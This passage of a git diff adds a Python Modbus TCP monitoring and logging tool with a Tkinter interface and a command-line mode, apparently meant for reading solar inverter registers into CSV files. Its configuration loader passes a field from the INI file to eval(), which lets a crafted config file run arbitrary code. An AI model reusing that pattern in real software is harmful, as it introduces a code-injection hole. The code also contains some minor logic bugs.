[--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ 